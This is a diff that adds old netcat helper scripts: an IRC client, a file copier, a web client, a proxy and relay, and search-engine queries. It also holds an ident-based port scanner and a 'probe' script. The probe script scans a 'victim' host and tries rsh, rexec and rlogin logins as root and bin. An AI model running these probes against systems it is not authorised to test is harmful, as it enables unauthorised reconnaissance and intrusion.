||||||
|
echo "[Keepalive: $ircpp]" >&2
|
||||||
|
# catch our own batch of signals: hup int quit pipe alrm term urg
|
||||||
|
trap 'kill -9 $ircpp ; exit 0' 1 2 3 13 14 15 16
|
||||||
|
sleep 2
|
||||||
|
|
||||||
|
sender=''
|
||||||
|
savecmd=''
|
||||||
|
|
||||||
|
# the big honkin' loop...
|
||||||
|
while read xx yy ; do
|
||||||
|
case "${xx}" in
|
||||||
|
# blank line: do nothing
|
||||||
|
"")
|
||||||
|
continue
|
||||||
|
;;
|
||||||
|
# new channel or recipient; if bare ">", we're back to raw literal mode.
|
||||||
|
">")
|
||||||
|
if test "${yy}" ; then
|
||||||
|
sender="privmsg ${yy} :"
|
||||||
|
else
|
||||||
|
sender=''
|
||||||
|
fi
|
||||||
|
continue
|
||||||
|
;;
|
||||||
|
# send crud from a file, one line per second. Can you say "skr1pt kidz"??
|
||||||
|
# *Note: uses current "recipient" if set.
|
||||||
|
"<")
|
||||||
|
if test -f "${yy}" ; then
|
||||||
|
( while read zz ; do
|
||||||
|
sleep 1
|
||||||
|
echo "${sender}${zz}"
|
||||||
|
done ) < "$yy"
|
||||||
|
echo "[done]" >&2
|
||||||
|
else
|
||||||
|
echo "[File $yy not found]" >&2
|
||||||
|
fi
|
||||||
|
continue
|
||||||
|
;;
|
||||||
|
# do and save a single command, for quick repeat
|
||||||
|
"/")
|
||||||
|
if test "${yy}" ; then
|
||||||
|
savecmd="${yy}"
|
||||||
|
fi
|
||||||
|
echo "${savecmd}"
|
||||||
|
;;
|
||||||
|
# default case goes to recipient, just like always
|
||||||
|
*)
|
||||||
|
echo "${sender}${xx} ${yy}"
|
||||||
|
continue
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
done
|
||||||
|
|
||||||
|
# parting shot, if you want it
|
||||||
|
echo "quit :Bye all!"
|
||||||
|
kill -9 $ircpp
|
||||||
|
exit 0
|
|
@ -0,0 +1,35 @@
|
||||||
|
#! /bin/sh
|
||||||
|
## duplicate DaveG's ident-scan thingie using netcat. Oooh, he'll be pissed.
|
||||||
|
## args: target port [port port port ...]
|
||||||
|
## hose stdout *and* stderr together.
|
||||||
|
##
|
||||||
|
## advantages: runs slower than ident-scan, giving remote inetd less cause
|
||||||
|
## for alarm, and only hits the few known daemon ports you specify.
|
||||||
|
## disadvantages: requires numeric-only port args, the output sleazitude,
|
||||||
|
## and won't work for r-services when coming from high source ports.
|
||||||
|
|
||||||
|
case "${2}" in
|
||||||
|
"" ) echo needs HOST and at least one PORT ; exit 1 ;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
# ping 'em once and see if they *are* running identd
|
||||||
|
nc -z -w 9 "$1" 113 || { echo "oops, $1 isn't running identd" ; exit 0 ; }
|
||||||
|
|
||||||
|
# generate a randomish base port
|
||||||
|
RP=`expr $$ % 999 + 31337`
|
||||||
|
|
||||||
|
TRG="$1"
|
||||||
|
shift
|
||||||
|
|
||||||
|
while test "$1" ; do
|
||||||
|
nc -v -w 8 -p ${RP} "$TRG" ${1} < /dev/null > /dev/null &
|
||||||
|
PROC=$!
|
||||||
|
sleep 3
|
||||||
|
echo "${1},${RP}" | nc -w 4 -r "$TRG" 113 2>&1
|
||||||
|
sleep 2
|
||||||
|
# does this look like a lamer script or what...
|
||||||
|
kill -HUP $PROC
|
||||||
|
RP=`expr ${RP} + 1`
|
||||||
|
shift
|
||||||
|
done
|
||||||
|
|
|
@ -0,0 +1,46 @@
|
||||||
|
#! /bin/sh
|
||||||
|
## Like "rcp" but uses netcat on a high port.
|
||||||
|
## do "ncp targetfile" on the RECEIVING machine
|
||||||
|
## then do "ncp sourcefile receivinghost" on the SENDING machine
|
||||||
|
## if invoked as "nzp" instead, compresses transit data.
|
||||||
|
|
||||||
|
## pick your own personal favorite port, which will be used on both ends.
|
||||||
|
## You should probably change this for your own uses.
|
||||||
|
MYPORT=23456
|
||||||
|
|
||||||
|
## if "nc" isn't systemwide or in your PATH, add the right place
|
||||||
|
# PATH=${HOME}:${PATH} ; export PATH
|
||||||
|
|
||||||
|
test "$3" && echo "too many args" && exit 1
|
||||||
|
test ! "$1" && echo "no args?" && exit 1
|
||||||
|
me=`echo $0 | sed 's+.*/++'`
|
||||||
|
test "$me" = "nzp" && echo '[compressed mode]'
|
||||||
|
|
||||||
|
# if second arg, it's a host to send an [extant] file to.
|
||||||
|
if test "$2" ; then
|
||||||
|
test ! -f "$1" && echo "can't find $1" && exit 1
|
||||||
|
if test "$me" = "nzp" ; then
|
||||||
|
compress -c < "$1" | nc -v -w 2 $2 $MYPORT && exit 0
|
||||||
|
else
|
||||||
|
nc -v -w 2 $2 $MYPORT < "$1" && exit 0
|
||||||
|
fi
|
||||||
|
echo "transfer FAILED!"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# fall here for receiver. Ask before trashing existing files
|
||||||
|
if test -f "$1" ; then
|
||||||
|
echo -n "Overwrite $1? "
|
||||||
|
read aa
|
||||||
|
test ! "$aa" = "y" && echo "[punted!]" && exit 1
|
||||||
|
fi
|
||||||
|
# 30 seconds oughta be pleeeeenty of time, but change if you want.
|
||||||
|
if test "$me" = "nzp" ; then
|
||||||
|
nc -v -w 30 -p $MYPORT -l < /dev/null | uncompress -c > "$1" && exit 0
|
||||||
|
else
|
||||||
|
nc -v -w 30 -p $MYPORT -l < /dev/null > "$1" && exit 0
|
||||||
|
fi
|
||||||
|
echo "transfer FAILED!"
|
||||||
|
# clean up, since even if the transfer failed, $1 is already trashed
|
||||||
|
rm -f "$1"
|
||||||
|
exit 1
|
|
@ -0,0 +1,50 @@
|
||||||
|
#! /bin/sh
|
||||||
|
## launch a whole buncha shit at yon victim in no particular order; capture
|
||||||
|
## stderr+stdout in one place. Run as root for rservice and low -p to work.
|
||||||
|
## Fairly thorough example of using netcat to collect a lot of host info.
|
||||||
|
## Will set off every intrusion alarm in existence on a paranoid machine!
|
||||||
|
|
||||||
|
# where .d files are kept; "." if nothing else
|
||||||
|
DDIR=../data
|
||||||
|
# address of some well-connected router that groks LSRR
|
||||||
|
GATE=192.157.69.11
|
||||||
|
|
||||||
|
# might conceivably wanna change this for different run styles
|
||||||
|
UCMD='nc -v -w 8'
|
||||||
|
|
||||||
|
test ! "$1" && echo Needs victim arg && exit 1
|
||||||
|
|
||||||
|
echo '' | $UCMD -w 9 -r "$1" 13 79 6667 2>&1
|
||||||
|
echo '0' | $UCMD "$1" 79 2>&1
|
||||||
|
# if LSRR was passed thru, should get refusal here:
|
||||||
|
$UCMD -z -r -g $GATE "$1" 6473 2>&1
|
||||||
|
$UCMD -r -z "$1" 6000 4000-4004 111 53 2105 137-140 1-20 540-550 95 87 2>&1
|
||||||
|
# -s `hostname` may be wrong for some multihomed machines
|
||||||
|
echo 'UDP echoecho!' | nc -u -p 7 -s `hostname` -w 3 "$1" 7 19 2>&1
|
||||||
|
echo '113,10158' | $UCMD -p 10158 "$1" 113 2>&1
|
||||||
|
rservice bin bin | $UCMD -p 1019 "$1" shell 2>&1
|
||||||
|
echo QUIT | $UCMD -w 8 -r "$1" 25 158 159 119 110 109 1109 142-144 220 23 2>&1
|
||||||
|
# newline after any telnet trash
|
||||||
|
echo ''
|
||||||
|
echo PASV | $UCMD -r "$1" 21 2>&1
|
||||||
|
echo 'GET /' | $UCMD -w 10 "$1" 80 81 210 70 2>&1
|
||||||
|
# sometimes contains useful directory info:
|
||||||
|
echo 'GET /robots.txt' | $UCMD -w 10 "$1" 80 2>&1
|
||||||
|
# now the big red lights go on
|
||||||
|
rservice bin bin 9600/9600 | $UCMD -p 1020 "$1" login 2>&1
|
||||||
|
rservice root root | $UCMD -r "$1" exec 2>&1
|
||||||
|
echo 'BEGIN big udp -- everything may look "open" if packet-filtered'
|
||||||
|
data -g < ${DDIR}/nfs-0.d | $UCMD -i 1 -u "$1" 2049 | od -x 2>&1
|
||||||
|
# no wait-time, uses RTT hack
|
||||||
|
nc -v -z -u -r "$1" 111 66-70 88 53 87 161-164 121-123 213 49 2>&1
|
||||||
|
nc -v -z -u -r "$1" 137-140 694-712 747-770 175-180 2103 510-530 2>&1
|
||||||
|
echo 'END big udp'
|
||||||
|
$UCMD -r -z "$1" 175-180 2000-2003 530-533 1524 1525 666 213 8000 6250 2>&1
|
||||||
|
# Use our identd-sniffer!
|
||||||
|
iscan "$1" 21 25 79 80 111 53 6667 6000 2049 119 2>&1
|
||||||
|
# this gets pretty intrusive, but what the fuck. Probe for portmap first
|
||||||
|
if nc -w 5 -z -u "$1" 111 ; then
|
||||||
|
showmount -e "$1" 2>&1
|
||||||
|
rpcinfo -p "$1" 2>&1
|
||||||
|
fi
|
||||||
|
exit 0
|
|
@ -0,0 +1,148 @@
|
||||||
|
#! /bin/sh
|
||||||
|
## The web sucks. It is a mighty dismal kludge built out of a thousand
|
||||||
|
## tiny dismal kludges all band-aided together, and now these bottom-line
|
||||||
|
## clueless pinheads who never heard of "TCP handshake" want to run
|
||||||
|
## *commerce* over the damn thing. Ye godz. Welcome to TV of the next
|
||||||
|
## century -- six million channels of worthless shit to choose from, and
|
||||||
|
## about as much security as today's cable industry!
|
||||||
|
##
|
||||||
|
## Having grown mightily tired of pain in the ass browsers, I decided
|
||||||
|
## to build the minimalist client. It doesn't handle POST, just GETs, but
|
||||||
|
## the majority of cgi forms handlers apparently ignore the method anyway.
|
||||||
|
## A distinct advantage is that it *doesn't* pass on any other information
|
||||||
|
## to the server, like Referer: or info about your local machine such as
|
||||||
|
## Netscum tries to!
|
||||||
|
##
|
||||||
|
## Since the first version, this has become the *almost*-minimalist client,
|
||||||
|
## but it saves a lot of typing now. And with netcat as its backend, it's
|
||||||
|
## totally the balls. Don't have netcat? Get it here in /src/hacks!
|
||||||
|
## _H* 950824, updated 951009 et seq.
|
||||||
|
##
|
||||||
|
## args: hostname [port]. You feed it the filename-parts of URLs.
|
||||||
|
## In the loop, HOST, PORT, and SAVE do the right things; a null line
|
||||||
|
## gets the previous spec again [useful for initial timeouts]; EOF to exit.
|
||||||
|
## Relative URLs behave like a "cd" to wherever the last slash appears, or
|
||||||
|
## just use the last component with the saved preceding "directory" part.
|
||||||
|
## "\" clears the "filename" part and asks for just the "directory", and
|
||||||
|
## ".." goes up one "directory" level while retaining the "filename" part.
|
||||||
|
## Play around; you'll get used to it.
|
||||||
|
|
||||||
|
if test "$1" = "" ; then
|
||||||
|
echo Needs hostname arg.
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
umask 022
|
||||||
|
|
||||||
|
# optional PATH fixup
|
||||||
|
# PATH=${HOME}:${PATH} ; export PATH
|
||||||
|
|
||||||
|
test "${PAGER}" || PAGER=more
|
||||||
|
BACKEND="nc -v -w 15"
|
||||||
|
TMPAGE=/tmp/web$$
|
||||||
|
host="$1"
|
||||||
|
port="80"
|
||||||
|
if test "$2" != "" ; then
|
||||||
|
port="$2"
|
||||||
|
fi
|
||||||
|
|
||||||
|
spec="/"
|
||||||
|
specD="/"
|
||||||
|
specF=''
|
||||||
|
saving=''
|
||||||
|
|
||||||
|
# be vaguely smart about temp file usage. Use your own homedir if you're
|
||||||
|
# paranoid about someone symlink-racing your shell script, jeez.
|
||||||
|
rm -f ${TMPAGE}
|
||||||
|
test -f ${TMPAGE} && echo "Can't use ${TMPAGE}" && exit 1
|
||||||
|
|
||||||
|
# get loopy. Yes, I know "echo -n" aint portable. Everything echoed would
|
||||||
|
# need "\c" tacked onto the end in an SV universe, which you can fix yourself.
|
||||||
|
while echo -n "${specD}${specF} " && read spec ; do
|
||||||
|
case $spec in
|
||||||
|
HOST)
|
||||||
|
echo -n 'New host: '
|
||||||
|
read host
|
||||||
|
continue
|
||||||
|
;;
|
||||||
|
PORT)
|
||||||
|
echo -n 'New port: '
|
||||||
|
read port
|
||||||
|
continue
|
||||||
|
;;
|
||||||
|
SAVE)
|
||||||
|
echo -n 'Save file: '
|
||||||
|
read saving
|
||||||
|
# if we've already got a page, save it
|
||||||
|
test "${saving}" && test -f ${TMPAGE} &&
|
||||||
|
echo "=== ${host}:${specD}${specF} ===" >> $saving &&
|
||||||
|
cat ${TMPAGE} >> $saving && echo '' >> $saving
|
||||||
|
continue
|
||||||
|
;;
|
||||||
|
# changing the logic a bit here. Keep a state-concept of "current dir"
|
||||||
|
# and "current file". Dir is /foo/bar/ ; file is "baz" or null.
|
||||||
|
# leading slash: create whole new state.
|
||||||
|
/*)
|
||||||
|
specF=`echo "${spec}" | sed 's|.*/||'`
|
||||||
|
specD=`echo "${spec}" | sed 's|\(.*/\).*|\1|'`
|
||||||
|
spec="${specD}${specF}"
|
||||||
|
;;
|
||||||
|
# embedded slash: adding to the path. "file" part can be blank, too
|
||||||
|
*/*)
|
||||||
|
specF=`echo "${spec}" | sed 's|.*/||'`
|
||||||
|
specD=`echo "${specD}${spec}" | sed 's|\(.*/\).*|\1|'`
|
||||||
|
;;
|
||||||
|
# dotdot: jump "up" one level and just reprompt [confirms what it did...]
|
||||||
|
..)
|
||||||
|
specD=`echo "${specD}" | sed 's|\(.*/\)..*/|\1|'`
|
||||||
|
continue
|
||||||
|
;;
|
||||||
|
# blank line: do nothing, which will re-get the current one
|
||||||
|
'')
|
||||||
|
;;
|
||||||
|
# hack-quoted blank line: "\" means just zero out "file" part
|
||||||
|
'\')
|
||||||
|
specF=''
|
||||||
|
;;
|
||||||
|
# sigh
|
||||||
|
'?')
|
||||||
|
echo Help yourself. Read the script fer krissake.
|
||||||
|
continue
|
||||||
|
;;
|
||||||
|
# anything else is taken as a "file" part
|
||||||
|
*)
|
||||||
|
specF=${spec}
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
# now put it together and stuff it down a connection. Some lame non-unix
|
||||||
|
# http servers assume they'll never get simple-query format, and wait till
|
||||||
|
# an extra newline arrives. If you're up against one of these, change
|
||||||
|
# below to (echo GET "$spec" ; echo '') | $BACKEND ...
|
||||||
|
spec="${specD}${specF}"
|
||||||
|
echo GET "${spec}" | $BACKEND $host $port > ${TMPAGE}
|
||||||
|
${PAGER} ${TMPAGE}
|
||||||
|
|
||||||
|
# save in a format that still shows the URLs we hit after a de-html run
|
||||||
|
if test "${saving}" ; then
|
||||||
|
echo "=== ${host}:${spec} ===" >> $saving
|
||||||
|
cat ${TMPAGE} >> $saving
|
||||||
|
echo '' >> $saving
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
rm -f ${TMPAGE}
|
||||||
|
exit 0
|
||||||
|
|
||||||
|
#######
|
||||||
|
# Encoding notes, finally from RFC 1738:
|
||||||
|
# %XX -- hex-encode of special chars
|
||||||
|
# allowed alphas in a URL: $_-.+!*'(),
|
||||||
|
# relative names *not* described, but obviously used all over the place
|
||||||
|
# transport://user:pass@host:port/path/name?query-string
|
||||||
|
# wais: port 210, //host:port/database?search or /database/type/file?
|
||||||
|
# cgi-bin/script?arg1=foo&arg2=bar&... scripts have to parse xxx&yyy&zzz
|
||||||
|
# ISMAP imagemap stuff: /bin/foobar.map?xxx,yyy -- have to guess at coords!
|
||||||
|
# local access-ctl files: ncsa: .htaccess ; cern: .www_acl
|
||||||
|
#######
|
||||||
|
# SEARCH ENGINES: fortunately, all are GET forms or at least work that way...
|
||||||
|
# multi-word args for most cases: foo+bar
|
||||||
|
# See 'websearch' for concise results of this research...
|
|
@ -0,0 +1,138 @@
|
||||||
|
#! /bin/sh
|
||||||
|
## Web proxy, following the grand tradition of Web things being handled by
|
||||||
|
## gross scripts. Uses netcat to listen on a high port [default 8000],
|
||||||
|
## picks apart requests and sends them on to the right place. Point this
|
||||||
|
## at the browser client machine you'll be coming from [to limit access to
|
||||||
|
## only it], and point the browser's concept of an HTTP proxy to the
|
||||||
|
## machine running this. Takes a single argument of the client that will
|
||||||
|
## be using it, and rejects connections from elsewhere. LOGS the queries
|
||||||
|
## to a configurable logfile, which can be an interesting read later on!
|
||||||
|
## If the argument is "reset", the listener and logfile are cleaned up.
|
||||||
|
##
|
||||||
|
## This works surprisingly fast and well, for a shell script, although may
|
||||||
|
## randomly fail when hammered by a browser that tries to open several
|
||||||
|
## connections at once. Drop the "maximum connections" in your browser if
|
||||||
|
## this is a problem.
|
||||||
|
##
|
||||||
|
## A more degenerate case of this, or preferably a small C program that
|
||||||
|
## does the same thing under inetd, could handle a small site's worth of
|
||||||
|
## proxy queries. Given the way browsers are evolving, proxies like this
|
||||||
|
## can play an important role in protecting your own privacy.
|
||||||
|
##
|
||||||
|
## If you grabbed this in ASCII mode, search down for "eew" and make sure
|
||||||
|
## the embedded-CR check is intact, or requests might hang.
|
||||||
|
##
|
||||||
|
## Doesn't handle POST forms. Who cares, if you're just watching HTTV?
|
||||||
|
## Dumbness here has a highly desirable side effect: it only sends the first
|
||||||
|
## GET line, since that's all you really ever need to send, and suppresses
|
||||||
|
## the other somewhat revealing trash that most browsers insist on sending.
|
||||||
|
|
||||||
|
# set these as you wish: proxy port...
|
||||||
|
PORT=8000
|
||||||
|
# logfile spec: a real file or /dev/null if you don't care
|
||||||
|
LFILE=${0}.log
|
||||||
|
# optional: where to dump connect info, so you can see if anything went wrong
|
||||||
|
# CFILE=${0}.conn
|
||||||
|
# optional extra args to the listener "nc", for instance "-s inside-net-addr"
|
||||||
|
# XNC=''
|
||||||
|
|
||||||
|
# functionality switch has to be done fast, so the next listener can start
|
||||||
|
# prelaunch check: if no current client and no args, bail.
|
||||||
|
case "${1}${CLIENT}" in
|
||||||
|
"")
|
||||||
|
echo needs client hostname
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
case "${1}" in
|
||||||
|
"")
|
||||||
|
# Make like inetd, and run the next relayer process NOW. All the redirection
|
||||||
|
# is necessary so this shell has NO remaining channel open to the net.
|
||||||
|
# This will hang around for 10 minutes, and exit if no new connections arrive.
|
||||||
|
# Using -n for speed, avoiding any DNS/port lookups.
|
||||||
|
nc -w 600 -n -l -p $PORT -e "$0" $XNC "$CLIENT" < /dev/null > /dev/null \
|
||||||
|
2> $CFILE &
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
# no client yet and had an arg, this checking can be much slower now
|
||||||
|
umask 077
|
||||||
|
|
||||||
|
if test "$1" ; then
|
||||||
|
# if magic arg, just clean up and then hit our own port to cause server exit
|
||||||
|
if test "$1" = "reset" ; then
|
||||||
|
rm -f $LFILE
|
||||||
|
test -f "$CFILE" && rm -f $CFILE
|
||||||
|
nc -w 1 -n 127.0.0.1 $PORT < /dev/null > /dev/null 2>&1
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
# find our ass with both hands
|
||||||
|
test ! -f "$0" && echo "Oops, cannot find my own corporeal being" && exit 1
|
||||||
|
# correct launch: set up client access control, passed along thru environment.
|
||||||
|
CLIENT="$1"
|
||||||
|
export CLIENT
|
||||||
|
test "$CFILE" || CFILE=/dev/null
|
||||||
|
export CFILE
|
||||||
|
touch "$CFILE"
|
||||||
|
# tell us what happened during the last run, if possible
|
||||||
|
if test -f "$CFILE" ; then
|
||||||
|
echo "Last connection results:"
|
||||||
|
cat $CFILE
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ping client machine and get its bare IP address
|
||||||
|
CLIENT=`nc -z -v -w 8 "$1" 22000 2>&1 | sed 's/.*\[\(..*\)\].*/\1/'`
|
||||||
|
test ! "$CLIENT" && echo "Can't find address of $1" && exit 1
|
||||||
|
|
||||||
|
# if this was an initial launch, be informative about it
|
||||||
|
echo "=== Launch: $CLIENT" >> $LFILE
|
||||||
|
echo "Proxy running -- will accept connections on $PORT from $CLIENT"
|
||||||
|
echo " Logging queries to $LFILE"
|
||||||
|
test -f "$CFILE" && echo " and connection fuckups to $CFILE"
|
||||||
|
|
||||||
|
# and run the first listener, showing us output just for the first hit
|
||||||
|
nc -v -w 600 -n -l -p $PORT -e "$0" $XNC "$CLIENT" &
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Fall here to handle a page.
|
||||||
|
# GET type://host.name:80/file/path HTTP/1.0
|
||||||
|
# Additional: trash
|
||||||
|
# More: trash
|
||||||
|
# <newline>
|
||||||
|
|
||||||
|
read x1 x2 x3 x4
|
||||||
|
echo "=== query: $x1 $x2 $x3 $x4" >> $LFILE
|
||||||
|
test "$x4" && echo "extra junk after request: $x4" && exit 0
|
||||||
|
# nuke questionable characters and split up the request
|
||||||
|
hurl=`echo "$x2" | sed -e "s+.*//++" -e 's+[\`'\''|$;<>{}\\!*()"]++g'`
|
||||||
|
# echo massaged hurl: $hurl >> $LFILE
|
||||||
|
hh=`echo "$hurl" | sed -e "s+/.*++" -e "s+:.*++"`
|
||||||
|
hp=`echo "$hurl" | sed -e "s+.*:++" -e "s+/.*++"`
|
||||||
|
test "$hp" = "$hh" && hp=80
|
||||||
|
hf=`echo "$hurl" | sed -e "s+[^/]*++"`
|
||||||
|
# echo total split: $hh : $hp : $hf >> $LFILE
|
||||||
|
# suck in and log the entire request, because we're curious
|
||||||
|
# Fails on multipart stuff like forms; oh well...
|
||||||
|
if test "$x3" ; then
|
||||||
|
while read xx ; do
|
||||||
|
echo "${xx}" >> $LFILE
|
||||||
|
test "${xx}" || break
|
||||||
|
# eew, buried returns, gross but necessary for DOS stupidity:
|
||||||
|
test "${xx}" = "
" && break
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
# check for non-GET *after* we log the query...
|
||||||
|
test "$x1" != "GET" && echo "sorry, this proxy only does GETs" && exit 0
|
||||||
|
# no, you can *not* phone home, you miserable piece of shit
|
||||||
|
test "`echo $hh | fgrep -i netscap`" && \
|
||||||
|
echo "access to Netscam's servers <b>DENIED.</b>" && exit 0
|
||||||
|
# Do it. 30 sec net-wait time oughta be *plenty*...
|
||||||
|
# Some braindead servers have forgotten how to handle the simple-query syntax.
|
||||||
|
# If necessary, replace below with (echo "$x1 $hf" ; echo '') | nc...
|
||||||
|
echo "$x1 $hf" | nc -w 30 "$hh" "$hp" 2> /dev/null || \
|
||||||
|
echo "oops, can't get to $hh : $hp".
|
||||||
|
echo "sent \"$x1 $hf\" to $hh : $hp" >> $LFILE
|
||||||
|
exit 0
|
||||||
|
|
|
@ -0,0 +1,44 @@
|
||||||
|
#! /bin/sh
|
||||||
|
## web relay -- a degenerate version of webproxy, usable with browsers that
|
||||||
|
## don't understand proxies. This just forwards connections to a given server.
|
||||||
|
## No query logging, no access control [although you can add it to XNC for
|
||||||
|
## your own run], and full-URL links will undoubtedly confuse the browser
|
||||||
|
## if it can't reach the server directly. This was actually written before
|
||||||
|
## the full proxy was, and it shows.
|
||||||
|
## The arguments in this case are the destination server and optional port.
|
||||||
|
## Please flame pinheads who use self-referential absolute links.
|
||||||
|
|
||||||
|
# set these as you wish: proxy port...
|
||||||
|
PORT=8000
|
||||||
|
# any extra args to the listening "nc", for instance "-s inside-net-addr"
|
||||||
|
XNC=''
|
||||||
|
|
||||||
|
# functionality switch, which has to be done fast to start the next listener
|
||||||
|
case "${1}${RDEST}" in
|
||||||
|
"")
|
||||||
|
echo needs hostname
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
case "${1}" in
|
||||||
|
"")
|
||||||
|
# no args: fire off new relayer process NOW. Will hang around for 10 minutes
|
||||||
|
nc -w 600 -l -n -p $PORT -e "$0" $XNC < /dev/null > /dev/null 2>&1 &
|
||||||
|
# and handle this request, which will simply fail if vars not set yet.
|
||||||
|
exec nc -w 15 $RDEST $RPORT
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
# Fall here for setup; this can now be slower.
|
||||||
|
RDEST="$1"
|
||||||
|
RPORT="$2"
|
||||||
|
test "$RPORT" || RPORT=80
|
||||||
|
export RDEST RPORT
|
||||||
|
|
||||||
|
# Launch the first relayer same as above, but let its error msgs show up
|
||||||
|
# will hang around for a minute, and exit if no new connections arrive.
|
||||||
|
nc -v -w 600 -l -p $PORT -e "$0" $XNC < /dev/null > /dev/null &
|
||||||
|
echo \
|
||||||
|
"Relay to ${RDEST}:${RPORT} running -- point your browser here on port $PORT"
|
||||||
|
exit 0
|
|
@ -0,0 +1,77 @@
|
||||||
|
#! /bin/sh
|
||||||
|
## Hit the major search engines. Hose the [large] output to a file!
|
||||||
|
## autoconverts multiple arguments into the right format for given servers --
|
||||||
|
## usually worda+wordb, with certain lame exceptions like dejanews.
|
||||||
|
## Extracting and post-sorting the URLs is highly recommended...
|
||||||
|
##
|
||||||
|
## Altavista currently handled by a separate script; may merge at some point.
|
||||||
|
##
|
||||||
|
## _H* original 950824, updated 951218 and 960209
|
||||||
|
|
||||||
|
test "${1}" = "" && echo 'Needs argument[s] to search for!' && exit 1
|
||||||
|
PLUSARG="`echo $* | sed 's/ /+/g'`"
|
||||||
|
PIPEARG="`echo ${PLUSARG} | sed 's/+/|/g'`"
|
||||||
|
IFILE=/tmp/.webq.$$
|
||||||
|
|
||||||
|
# Don't have "nc"? Get "netcat" from avian.org and add it to your toolkit.
|
||||||
|
doquery () {
|
||||||
|
echo GET "$1" | nc -v -i 1 -w 30 "$2" "$3"
|
||||||
|
}
|
||||||
|
|
||||||
|
# changed since original: now supplying port numbers and separator lines...
|
||||||
|
|
||||||
|
echo "=== Yahoo ==="
|
||||||
|
doquery "/bin/search?p=${PLUSARG}&n=300&w=w&s=a" search.yahoo.com 80
|
||||||
|
|
||||||
|
echo '' ; echo "=== Webcrawler ==="
|
||||||
|
doquery "/cgi-bin/WebQuery?searchText=${PLUSARG}&maxHits=300" webcrawler.com 80
|
||||||
|
|
||||||
|
# the infoseek lamers want "registration" before they do a real search, but...
|
||||||
|
echo '' ; echo "=== Infoseek ==="
|
||||||
|
echo " is broken."
|
||||||
|
# doquery "WW/IS/Titles?qt=${PLUSARG}" www2.infoseek.com 80
|
||||||
|
# ... which doesn't work cuz their lame server wants the extra newlines, WITH
|
||||||
|
# CRLF pairs ferkrissake. Fuck 'em for now, they're hopelessly broken. If
|
||||||
|
# you want to play, the basic idea and query formats follow.
|
||||||
|
# echo "GET /WW/IS/Titles?qt=${PLUSARG}" > $IFILE
|
||||||
|
# echo "" >> $IFILE
|
||||||
|
# nc -v -w 30 guide-p.infoseek.com 80 < $IFILE
|
||||||
|
|
||||||
|
# this is kinda flakey; might have to do twice??
|
||||||
|
echo '' ; echo "=== Opentext ==="
|
||||||
|
doquery "/omw/simplesearch?SearchFor=${PLUSARG}&mode=phrase" \
|
||||||
|
search.opentext.com 80
|
||||||
|
|
||||||
|
# looks like inktomi will only take hits=100, or defaults back to 30
|
||||||
|
# we try to suppress all the stupid rating dots here, too
|
||||||
|
echo '' ; echo "=== Inktomi ==="
|
||||||
|
doquery "/query/?query=${PLUSARG}&hits=100" ink3.cs.berkeley.edu 1234 | \
|
||||||
|
sed '/^<IMG ALT.*inktomi.*\.gif">$/d'
|
||||||
|
|
||||||
|
#djnews lame shit limits hits to 120 and has nonstandard format
|
||||||
|
echo '' ; echo "=== Dejanews ==="
|
||||||
|
doquery "/cgi-bin/nph-dnquery?query=${PIPEARG}+maxhits=110+format=terse+defaultOp=AND" \
|
||||||
|
smithers.dejanews.com 80
|
||||||
|
|
||||||
|
# OLD lycos: used to work until they fucking BROKE it...
|
||||||
|
# doquery "/cgi-bin/pursuit?query=${PLUSARG}&maxhits=300&terse=1" \
|
||||||
|
# query5.lycos.cs.cmu.edu 80
|
||||||
|
# NEW lycos: wants the User-agent field present in query or it returns nothing
|
||||||
|
# 960206: webmaster@lycos duly bitched at
|
||||||
|
# 960208: reply received; here's how we will now handle it:
|
||||||
|
echo \
|
||||||
|
"GET /cgi-bin/pursuit?query=${PLUSARG}&maxhits=300&terse=terse&matchmode=and&minscore=.5 HTTP/1.x" \
|
||||||
|
> $IFILE
|
||||||
|
echo "User-agent: *FUCK OFF*" >> $IFILE
|
||||||
|
echo "Why: go ask todd@pointcom.com (Todd Whitney)" >> $IFILE
|
||||||
|
echo '' >> $IFILE
|
||||||
|
echo '' ; echo "=== Lycos ==="
|
||||||
|
nc -v -i 1 -w 30 twelve.srv.lycos.com 80 < $IFILE
|
||||||
|
|
||||||
|
rm -f $IFILE
|
||||||
|
exit 0
|
||||||
|
|
||||||
|
# CURRENTLY BROKEN [?]
|
||||||
|
# infoseek
|
||||||
|
|
||||||
|
# some args need to be redone to ensure whatever "and" mode applies
|
|
@ -0,0 +1,464 @@
|
||||||
|
#! /bin/sh
|
||||||
|
##
|
||||||
|
## Find stupid system include dependencies and account for them. Squirts
|
||||||
|
## a sample .h file to stdout containing [too many of] the right things.
|
||||||
|
## If you hose the output into "stupid.h", you will get MORE information.
|
||||||
|
## This takes a while to run, because it checks so many things.
|
||||||
|
##
|
||||||
|
## IF YOU HAVE a system/arch/compiler/whatever that is NOT one of:
|
||||||
|
## msdos-msc6.x ultrix-vax ultrix-mips sunos4.1.x-sparc solaris2.x-sparc
|
||||||
|
## aix-rs6k linux1.[01].x-x86 freebsd-x86 netbsd-x86 hpux
|
||||||
|
## [... hopefully this list will grow very large]
|
||||||
|
## or even if you aren't sure, you would be doing me and the net in general
|
||||||
|
## a wonderful service by running this and MAILING me the "full" output, e.g.
|
||||||
|
##
|
||||||
|
## chmod +x stupidh
|
||||||
|
## ./stupidh > stupid.h
|
||||||
|
## mail hobbit@avian.org < stupid.h
|
||||||
|
##
|
||||||
|
## WARNING: You may have to change "cc" to "gcc" below if you don't have
|
||||||
|
## "cc" [e.g. solaris, thank you very fucking much, Sun].
|
||||||
|
## Please note any errors this generates, too...
|
||||||
|
##
|
||||||
|
## *Hobbit*, 941122 and previous. VERSION: 1.3 951107
|
||||||
|
##
|
||||||
|
## edits: Use a consistent naming scheme, for easier identification and cleanup.
|
||||||
|
## accomodate gcc's BOGUS assumptions based on input filename.
|
||||||
|
